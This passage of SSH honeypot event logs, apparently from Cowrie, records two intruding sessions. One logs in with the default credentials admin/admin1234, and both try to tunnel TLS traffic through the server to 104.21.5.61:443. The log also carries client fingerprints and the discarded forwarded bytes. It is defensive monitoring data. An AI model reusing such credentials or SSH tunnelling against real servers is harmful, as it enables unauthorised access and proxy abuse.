\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 LaO\\n%~\\xb0Q\\x93\\x80\\xca\\x10lC\\x8b\\x94:\\xbf\\xca\\x16\\xf4\\xab\\xaa\\xfeQ\\xb7T\\xcf\\x9b?\\xacE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa\\xd3\\x94\\xa1\\xbb8\\x98\\x9fM\\xba\\xe5\\x1c\\x9c\\xe9\\x8c\\x0f\\x8b<C\\x9a=ox\\xad\\x87\\x8a\\x1fg\\x90\\xc5\\xd0^ u\\xc61\\xeb\\x039\\xe3\\xb4v\\x8b\\xe5\\xf1\\xbf\\x8a\\xc6\\xb0K\\xf2y\\xe3;\\x00\\xcdGq\\xc9\\xd6\\xd6\\x12\\xff9\\x8b\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 LaO\\n%~\\xb0Q\\x93\\x80\\xca\\x10lC\\x8b\\x94:\\xbf\\xca\\x16\\xf4\\xab\\xaa\\xfeQ\\xb7T\\xcf\\x9b?\\xacE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:49.140160Z","src_ip":"113.164.152.20","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:49.408787Z","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:49.674109Z","src_ip":"113.164.152.20","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03w\\x12lJ\\xaaK\\xb7\\x03\\xd7\\xb5\\x9fgn\\x7f\\x95\\xbag\\xeb\\xe276\\x1d\\x16\\x9c\\x80c\\x10\\xe93;#\\xe2 _\\x16\\xdey]\"\\xc5qV\\x1cu\\x84\\x8bOS\\x98b\\xc4\\xfd\\x9eb\\xc97\\x9e>SG\\xc2\\xaeP\\xb5~\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xea!f\\x9e\\xf3\\xc7\\x8f#\\xc6\\xda\\xc9\\x03^\\xa7\\xfa\\xd98\\x19\\x06#\\xb8\\xfb>\\xe3\\x020\\x84\\x91nP\\rS\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03w\\x12lJ\\xaaK\\xb7\\x03\\xd7\\xb5\\x9fgn\\x7f\\x95\\xbag\\xeb\\xe276\\x1d\\x16\\x9c\\x80c\\x10\\xe93;#\\xe2 _\\x16\\xdey]\"\\xc5qV\\x1cu\\x84\\x8bOS\\x98b\\xc4\\xfd\\x9eb\\xc97\\x9e>SG\\xc2\\xaeP\\xb5~\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xea!f\\x9e\\xf3\\xc7\\x8f#\\xc6\\xda\\xc9\\x03^\\xa7\\xfa\\xd98\\x19\\x06#\\xb8\\xfb>\\xe3\\x020\\x84\\x91nP\\rS\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:49.678520Z","src_ip":"113.164.152.20","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:50.123379Z","src_ip":"113.164.152.20","session":"05d5e016d682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62535,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af4c4982d97","protocol":"ssh","message":"New connection: 123.27.168.40:62535 (10.17.0.5:22) [session: 9af4c4982d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:55.560712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:55.564573Z","src_ip":"123.27.168.40","session":"9af4c4982d97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:55.807534Z","src_ip":"123.27.168.40","session":"9af4c4982d97","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:56.912024Z","src_ip":"123.27.168.40","session":"9af4c4982d97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:57.577651Z","session":"9af4c4982d97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:57.818816Z","src_ip":"123.27.168.40","session":"9af4c4982d97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8eUD5\\xc0\\xbd\\xe5\\x13'U\\xf5\\xec(\\x14sD\\xa8\\xf30\\x19fb/H8\\xa7\\xda \\xa9\\x89bc R\\xb6\\x10\\xd1\\xbb\\xe7\\xc8\\xe8S\\x90B\\x06\\x93Y\\xdf\\xbd\\xe6;\\x94\\xf5b\\xc0k\\x7f=1\\xca\\x18&{Q\\x89\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf9\\x98f\\xca\\xea)\\x0f\\xc8_\\xcc\\xce\\xb8\\xa1\\xaf\\t\\x87\\xdaUL}\\xfe\\rd2\\x93\\xf9\\xa2!\\x8b\\xa5\\xa0B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8eUD5\\xc0\\xbd\\xe5\\x13'U\\xf5\\xec(\\x14sD\\xa8\\xf30\\x19fb/H8\\xa7\\xda \\xa9\\x89bc R\\xb6\\x10\\xd1\\xbb\\xe7\\xc8\\xe8S\\x90B\\x06\\x93Y\\xdf\\xbd\\xe6;\\x94\\xf5b\\xc0k\\x7f=1\\xca\\x18&{Q\\x89\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf9\\x98f\\xca\\xea)\\x0f\\xc8_\\xcc\\xce\\xb8\\xa1\\xaf\\t\\x87\\xdaUL}\\xfe\\rd2\\x93\\xf9\\xa2!\\x8b\\xa5\\xa0B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:57.822235Z","src_ip":"123.27.168.40","session":"9af4c4982d97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:58.066694Z","session":"9af4c4982d97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:58.312044Z","src_ip":"123.27.168.40","session":"9af4c4982d97","protocol":"ssh"}
